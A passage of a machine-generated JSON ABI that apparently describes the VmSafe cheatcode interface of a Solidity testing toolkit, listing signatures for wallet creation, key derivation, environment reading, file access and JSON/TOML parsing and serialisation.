VmSafe.Wallet","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"publicKeyX","type":"uint256","internalType":"uint256"},{"name":"publicKeyY","type":"uint256","internalType":"uint256"},{"name":"privateKey","type":"uint256","internalType":"uint256"}]}],"stateMutability":"nonpayable"},{"type":"function","name":"createWallet","inputs":[{"name":"privateKey","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"wallet","type":"tuple","internalType":"struct VmSafe.Wallet","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"publicKeyX","type":"uint256","internalType":"uint256"},{"name":"publicKeyY","type":"uint256","internalType":"uint256"},{"name":"privateKey","type":"uint256","internalType":"uint256"}]}],"stateMutability":"nonpayable"},{"type":"function","name":"createWallet","inputs":[{"name":"privateKey","type":"uint256","internalType":"uint256"},{"name":"walletLabel","type":"string","internalType":"string"}],"outputs":[{"name":"wallet","type":"tuple","internalType":"struct VmSafe.Wallet","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"publicKeyX","type":"uint256","internalType":"uint256"},{"name":"publicKeyY","type":"uint256","internalType":"uint256"},{"name":"privateKey","type":"uint256","internalType":"uint256"}]}],"stateMutability":"nonpayable"},{"type":"function","name":"deriveKey","inputs":[{"name":"mnemonic","type":"string","internalType":"string"},{"name":"derivationPath","type":"string","internalType":"string"},{"name":"index","type":"uint32","internalType":"uint32"},{"name":"language","type":"string","internalType":"string"}],"outputs":[{"name":"privateKey","type":"uint256","internalType":"uint256"}],"stateMutability":"pure"},{"type":"function","name":"deriveKey","inputs":[{"name":"mnemonic","type":"string","internalType":"string"},{"name":"index","type":"uint32","internalType":"uint32"},{"name":"language","type":"string","internalType":"string"}],"outputs":[{"name":"privateKey","type":"uint256","internalType":"uint256"}],"stateMutability":"pure"},{"type":"function","name":"deriveKey","inputs":[{"name":"mnemonic","type":"string","internalType":"string"},{"name":"index","type":"uint32","internalType":"uint32"}],"outputs":[{"name":"privateKey","type":"uint256","internalType":"uint256"}],"stateMutability":"pure"},{"type":"function","name":"deriveKey","inputs":[{"name":"mnemonic","type":"string","internalType":"string"},{"name":"derivationPath","type":"string","internalType":"string"},{"name":"index","type":"uint32","internalType":"uint32"}],"outputs":[{"name":"privateKey","type":"uint256","internalType":"uint256"}],"stateMutability":"pure"},{"type":"function","name":"envAddress","inputs":[{"name":"name","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"envAddress","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"delim","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"envBool","inputs":[{"name":"name","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"envBool","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"delim","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"bool[]","internalType":"bool[]"}],"stateMutability":"view"},{"type":"function","name":"envBytes","inputs":[{"name":"name","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"bytes","internalType":"bytes"}],"stateMutability":"view"},{"type":"function","name":"envBytes","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"delim","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"bytes[]","internalType":"bytes[]"}],"stateMutability":"view"},{"type":"function","name":"envBytes32","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"delim","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"bytes32[]","internalType":"bytes32[]"}],"stateMutability":"view"},{"type":"function","name":"envBytes32","inputs":[{"name":"name","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"bytes32","internalType":"bytes32"}],"stateMutability":"view"},{"type":"function","name":"envInt","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"delim","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"int256[]","internalType":"int256[]"}],"stateMutability":"view"},{"type":"function","name":"envInt","inputs":[{"name":"name","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"int256","internalType":"int256"}],"stateMutability":"view"},{"type":"function","name":"envOr","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"delim","type":"string","internalType":"string"},{"name":"defaultValue","type":"bytes32[]","internalType":"bytes32[]"}],"outputs":[{"name":"value","type":"bytes32[]","internalType":"bytes32[]"}],"stateMutability":"view"},{"type":"function","name":"envOr","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"delim","type":"string","internalType":"string"},{"name":"defaultValue","type":"int256[]","internalType":"int256[]"}],"outputs":[{"name":"value","type":"int256[]","internalType":"int256[]"}],"stateMutability":"view"},{"type":"function","name":"envOr","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"defaultValue","type":"bool","internalType":"bool"}],"outputs":[{"name":"value","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"envOr","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"defaultValue","type":"address","internalType":"address"}],"outputs":[{"name":"value","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"envOr","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"defaultValue","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"value","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"envOr","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"delim","type":"string","internalType":"string"},{"name":"defaultValue","type":"bytes[]","internalType":"bytes[]"}],"outputs":[{"name":"value","type":"bytes[]","internalType":"bytes[]"}],"stateMutability":"view"},{"type":"function","name":"envOr","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"delim","type":"string","internalType":"string"},{"name":"defaultValue","type":"uint256[]","internalType":"uint256[]"}],"outputs":[{"name":"value","type":"uint256[]","internalType":"uint256[]"}],"stateMutability":"view"},{"type":"function","name":"envOr","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"delim","type":"string","internalType":"string"},{"name":"defaultValue","type":"string[]","internalType":"string[]"}],"outputs":[{"name":"value","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"envOr","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"defaultValue","type":"bytes","internalType":"bytes"}],"outputs":[{"name":"value","type":"bytes","internalType":"bytes"}],"stateMutability":"view"},{"type":"function","name":"envOr","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"defaultValue","type":"bytes32","internalType":"bytes32"}],"outputs":[{"name":"value","type":"bytes32","internalType":"bytes32"}],"stateMutability":"view"},{"type":"function","name":"envOr","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"defaultValue","type":"int256","internalType":"int256"}],"outputs":[{"name":"value","type":"int256","internalType":"int256"}],"stateMutability":"view"},{"type":"function","name":"envOr","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"delim","type":"string","internalType":"string"},{"name":"defaultValue","type":"address[]","internalType":"address[]"}],"outputs":[{"name":"value","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"envOr","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"defaultValue","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"envOr","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"delim","type":"string","internalType":"string"},{"name":"defaultValue","type":"bool[]","internalType":"bool[]"}],"outputs":[{"name":"value","type":"bool[]","internalType":"bool[]"}],"stateMutability":"view"},{"type":"function","name":"envString","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"delim","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"envString","inputs":[{"name":"name","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"envUint","inputs":[{"name":"name","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"envUint","inputs":[{"name":"name","type":"string","internalType":"string"},{"name":"delim","type":"string","internalType":"string"}],"outputs":[{"name":"value","type":"uint256[]","internalType":"uint256[]"}],"stateMutability":"view"},{"type":"function","name":"eth_getLogs","inputs":[{"name":"fromBlock","type":"uint256","internalType":"uint256"},{"name":"toBlock","type":"uint256","internalType":"uint256"},{"name":"target","type":"address","internalType":"address"},{"name":"topics","type":"bytes32[]","internalType":"bytes32[]"}],"outputs":[{"name":"logs","type":"tuple[]","internalType":"struct VmSafe.EthGetLogs[]","components":[{"name":"emitter","type":"address","internalType":"address"},{"name":"topics","type":"bytes32[]","internalType":"bytes32[]"},{"name":"data","type":"bytes","internalType":"bytes"},{"name":"blockHash","type":"bytes32","internalType":"bytes32"},{"name":"blockNumber","type":"uint64","internalType":"uint64"},{"name":"transactionHash","type":"bytes32","internalType":"bytes32"},{"name":"transactionIndex","type":"uint64","internalType":"uint64"},{"name":"logIndex","type":"uint256","internalType":"uint256"},{"name":"removed","type":"bool","internalType":"bool"}]}],"stateMutability":"nonpayable"},{"type":"function","name":"exists","inputs":[{"name":"path","type":"string","internalType":"string"}],"outputs":[{"name":"result","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"ffi","inputs":[{"name":"commandInput","type":"string[]","internalType":"string[]"}],"outputs":[{"name":"result","type":"bytes","internalType":"bytes"}],"stateMutability":"nonpayable"},{"type":"function","name":"fsMetadata","inputs":[{"name":"path","type":"string","internalType":"string"}],"outputs":[{"name":"metadata","type":"tuple","internalType":"struct VmSafe.FsMetadata","components":[{"name":"isDir","type":"bool","internalType":"bool"},{"name":"isSymlink","type":"bool","internalType":"bool"},{"name":"length","type":"uint256","internalType":"uint256"},{"name":"readOnly","type":"bool","internalType":"bool"},{"name":"modified","type":"uint256","internalType":"uint256"},{"name":"accessed","type":"uint256","internalType":"uint256"},{"name":"created","type":"uint256","internalType":"uint256"}]}],"stateMutability":"view"},{"type":"function","name":"getBlockNumber","inputs":[],"outputs":[{"name":"height","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getBlockTimestamp","inputs":[],"outputs":[{"name":"timestamp","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getCode","inputs":[{"name":"artifactPath","type":"string","internalType":"string"}],"outputs":[{"name":"creationBytecode","type":"bytes","internalType":"bytes"}],"stateMutability":"view"},{"type":"function","name":"getDeployedCode","inputs":[{"name":"artifactPath","type":"string","internalType":"string"}],"outputs":[{"name":"runtimeBytecode","type":"bytes","internalType":"bytes"}],"stateMutability":"view"},{"type":"function","name":"getLabel","inputs":[{"name":"account","type":"address","internalType":"address"}],"outputs":[{"name":"currentLabel","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"getMappingKeyAndParentOf","inputs":[{"name":"target","type":"address","internalType":"address"},{"name":"elementSlot","type":"bytes32","internalType":"bytes32"}],"outputs":[{"name":"found","type":"bool","internalType":"bool"},{"name":"key","type":"bytes32","internalType":"bytes32"},{"name":"parent","type":"bytes32","internalType":"bytes32"}],"stateMutability":"nonpayable"},{"type":"function","name":"getMappingLength","inputs":[{"name":"target","type":"address","internalType":"address"},{"name":"mappingSlot","type":"bytes32","internalType":"bytes32"}],"outputs":[{"name":"length","type":"uint256","internalType":"uint256"}],"stateMutability":"nonpayable"},{"type":"function","name":"getMappingSlotAt","inputs":[{"name":"target","type":"address","internalType":"address"},{"name":"mappingSlot","type":"bytes32","internalType":"bytes32"},{"name":"idx","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"value","type":"bytes32","internalType":"bytes32"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNonce","inputs":[{"name":"account","type":"address","internalType":"address"}],"outputs":[{"name":"nonce","type":"uint64","internalType":"uint64"}],"stateMutability":"view"},{"type":"function","name":"getNonce","inputs":[{"name":"wallet","type":"tuple","internalType":"struct VmSafe.Wallet","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"publicKeyX","type":"uint256","internalType":"uint256"},{"name":"publicKeyY","type":"uint256","internalType":"uint256"},{"name":"privateKey","type":"uint256","internalType":"uint256"}]}],"outputs":[{"name":"nonce","type":"uint64","internalType":"uint64"}],"stateMutability":"nonpayable"},{"type":"function","name":"getRecordedLogs","inputs":[],"outputs":[{"name":"logs","type":"tuple[]","internalType":"struct VmSafe.Log[]","components":[{"name":"topics","type":"bytes32[]","internalType":"bytes32[]"},{"name":"data","type":"bytes","internalType":"bytes"},{"name":"emitter","type":"address","internalType":"address"}]}],"stateMutability":"nonpayable"},{"type":"function","name":"isDir","inputs":[{"name":"path","type":"string","internalType":"string"}],"outputs":[{"name":"result","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"isFile","inputs":[{"name":"path","type":"string","internalType":"string"}],"outputs":[{"name":"result","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"keyExists","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"keyExistsJson","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"keyExistsToml","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"label","inputs":[{"name":"account","type":"address","internalType":"address"},{"name":"newLabel","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"load","inputs":[{"name":"target","type":"address","internalType":"address"},{"name":"slot","type":"bytes32","internalType":"bytes32"}],"outputs":[{"name":"data","type":"bytes32","internalType":"bytes32"}],"stateMutability":"view"},{"type":"function","name":"parseAddress","inputs":[{"name":"stringifiedValue","type":"string","internalType":"string"}],"outputs":[{"name":"parsedValue","type":"address","internalType":"address"}],"stateMutability":"pure"},{"type":"function","name":"parseBool","inputs":[{"name":"stringifiedValue","type":"string","internalType":"string"}],"outputs":[{"name":"parsedValue","type":"bool","internalType":"bool"}],"stateMutability":"pure"},{"type":"function","name":"parseBytes","inputs":[{"name":"stringifiedValue","type":"string","internalType":"string"}],"outputs":[{"name":"parsedValue","type":"bytes","internalType":"bytes"}],"stateMutability":"pure"},{"type":"function","name":"parseBytes32","inputs":[{"name":"stringifiedValue","type":"string","internalType":"string"}],"outputs":[{"name":"parsedValue","type":"bytes32","internalType":"bytes32"}],"stateMutability":"pure"},{"type":"function","name":"parseInt","inputs":[{"name":"stringifiedValue","type":"string","internalType":"string"}],"outputs":[{"name":"parsedValue","type":"int256","internalType":"int256"}],"stateMutability":"pure"},{"type":"function","name":"parseJson","inputs":[{"name":"json","type":"string","internalType":"string"}],"outputs":[{"name":"abiEncodedData","type":"bytes","internalType":"bytes"}],"stateMutability":"pure"},{"type":"function","name":"parseJson","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"abiEncodedData","type":"bytes","internalType":"bytes"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonAddress","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonAddressArray","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"address[]","internalType":"address[]"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonBool","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonBoolArray","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bool[]","internalType":"bool[]"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonBytes","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bytes","internalType":"bytes"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonBytes32","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bytes32","internalType":"bytes32"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonBytes32Array","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bytes32[]","internalType":"bytes32[]"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonBytesArray","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bytes[]","internalType":"bytes[]"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonInt","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"int256","internalType":"int256"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonIntArray","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"int256[]","internalType":"int256[]"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonKeys","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"keys","type":"string[]","internalType":"string[]"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonString","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonStringArray","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"string[]","internalType":"string[]"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonUint","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"pure"},{"type":"function","name":"parseJsonUintArray","inputs":[{"name":"json","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"uint256[]","internalType":"uint256[]"}],"stateMutability":"pure"},{"type":"function","name":"parseToml","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"abiEncodedData","type":"bytes","internalType":"bytes"}],"stateMutability":"pure"},{"type":"function","name":"parseToml","inputs":[{"name":"toml","type":"string","internalType":"string"}],"outputs":[{"name":"abiEncodedData","type":"bytes","internalType":"bytes"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlAddress","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlAddressArray","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"address[]","internalType":"address[]"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlBool","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlBoolArray","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bool[]","internalType":"bool[]"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlBytes","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bytes","internalType":"bytes"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlBytes32","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bytes32","internalType":"bytes32"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlBytes32Array","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bytes32[]","internalType":"bytes32[]"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlBytesArray","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"bytes[]","internalType":"bytes[]"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlInt","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"int256","internalType":"int256"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlIntArray","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"int256[]","internalType":"int256[]"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlKeys","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"keys","type":"string[]","internalType":"string[]"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlString","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlStringArray","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"string[]","internalType":"string[]"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlUint","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"pure"},{"type":"function","name":"parseTomlUintArray","inputs":[{"name":"toml","type":"string","internalType":"string"},{"name":"key","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"uint256[]","internalType":"uint256[]"}],"stateMutability":"pure"},{"type":"function","name":"parseUint","inputs":[{"name":"stringifiedValue","type":"string","internalType":"string"}],"outputs":[{"name":"parsedValue","type":"uint256","internalType":"uint256"}],"stateMutability":"pure"},{"type":"function","name":"pauseGasMetering","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"projectRoot","inputs":[],"outputs":[{"name":"path","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"readDir","inputs":[{"name":"path","type":"string","internalType":"string"},{"name":"maxDepth","type":"uint64","internalType":"uint64"}],"outputs":[{"name":"entries","type":"tuple[]","internalType":"struct VmSafe.DirEntry[]","components":[{"name":"errorMessage","type":"string","internalType":"string"},{"name":"path","type":"string","internalType":"string"},{"name":"depth","type":"uint64","internalType":"uint64"},{"name":"isDir","type":"bool","internalType":"bool"},{"name":"isSymlink","type":"bool","internalType":"bool"}]}],"stateMutability":"view"},{"type":"function","name":"readDir","inputs":[{"name":"path","type":"string","internalType":"string"},{"name":"maxDepth","type":"uint64","internalType":"uint64"},{"name":"followLinks","type":"bool","internalType":"bool"}],"outputs":[{"name":"entries","type":"tuple[]","internalType":"struct VmSafe.DirEntry[]","components":[{"name":"errorMessage","type":"string","internalType":"string"},{"name":"path","type":"string","internalType":"string"},{"name":"depth","type":"uint64","internalType":"uint64"},{"name":"isDir","type":"bool","internalType":"bool"},{"name":"isSymlink","type":"bool","internalType":"bool"}]}],"stateMutability":"view"},{"type":"function","name":"readDir","inputs":[{"name":"path","type":"string","internalType":"string"}],"outputs":[{"name":"entries","type":"tuple[]","internalType":"struct VmSafe.DirEntry[]","components":[{"name":"errorMessage","type":"string","internalType":"string"},{"name":"path","type":"string","internalType":"string"},{"name":"depth","type":"uint64","internalType":"uint64"},{"name":"isDir","type":"bool","internalType":"bool"},{"name":"isSymlink","type":"bool","internalType":"bool"}]}],"stateMutability":"view"},{"type":"function","name":"readFile","inputs":[{"name":"path","type":"string","internalType":"string"}],"outputs":[{"name":"data","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"readFileBinary","inputs":[{"name":"path","type":"string","internalType":"string"}],"outputs":[{"name":"data","type":"bytes","internalType":"bytes"}],"stateMutability":"view"},{"type":"function","name":"readLine","inputs":[{"name":"path","type":"string","internalType":"string"}],"outputs":[{"name":"line","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"readLink","inputs":[{"name":"linkPath","type":"string","internalType":"string"}],"outputs":[{"name":"targetPath","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"record","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"recordLogs","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"rememberKey","inputs":[{"name":"privateKey","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"keyAddr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"removeDir","inputs":[{"name":"path","type":"string","internalType":"string"},{"name":"recursive","type":"bool","internalType":"bool"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"removeFile","inputs":[{"name":"path","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"replace","inputs":[{"name":"input","type":"string","internalType":"string"},{"name":"from","type":"string","internalType":"string"},{"name":"to","type":"string","internalType":"string"}],"outputs":[{"name":"output","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"resumeGasMetering","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"rpc","inputs":[{"name":"method","type":"string","internalType":"string"},{"name":"params","type":"string","internalType":"string"}],"outputs":[{"name":"data","type":"bytes","internalType":"bytes"}],"stateMutability":"nonpayable"},{"type":"function","name":"rpcUrl","inputs":[{"name":"rpcAlias","type":"string","internalType":"string"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"rpcUrlStructs","inputs":[],"outputs":[{"name":"urls","type":"tuple[]","internalType":"struct VmSafe.Rpc[]","components":[{"name":"key","type":"string","internalType":"string"},{"name":"url","type":"string","internalType":"string"}]}],"stateMutability":"view"},{"type":"function","name":"rpcUrls","inputs":[],"outputs":[{"name":"urls","type":"string[2][]","internalType":"string[2][]"}],"stateMutability":"view"},{"type":"function","name":"serializeAddress","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"},{"name":"values","type":"address[]","internalType":"address[]"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"serializeAddress","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"},{"name":"value","type":"address","internalType":"address"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"serializeBool","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"},{"name":"values","type":"bool[]","internalType":"bool[]"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"serializeBool","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"},{"name":"value","type":"bool","internalType":"bool"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"serializeBytes","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"},{"name":"values","type":"bytes[]","internalType":"bytes[]"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"serializeBytes","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"},{"name":"value","type":"bytes","internalType":"bytes"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"serializeBytes32","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"},{"name":"values","type":"bytes32[]","internalType":"bytes32[]"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"serializeBytes32","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"},{"name":"value","type":"bytes32","internalType":"bytes32"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"serializeInt","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"},{"name":"value","type":"int256","internalType":"int256"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"serializeInt","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"},{"name":"values","type":"int256[]","internalType":"int256[]"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"serializeJson","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"value","type":"string","internalType":"string"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"serializeString","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"},{"name":"values","type":"string[]","internalType":"string[]"}],"outputs":[{"name":"json","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"serializeString","inputs":[{"name":"objectKey","type":"string","internalType":"string"},{"name":"valueKey","type":"string","internalType":"string"},{"name":"value","type":"string","internalType":"string"}],"outputs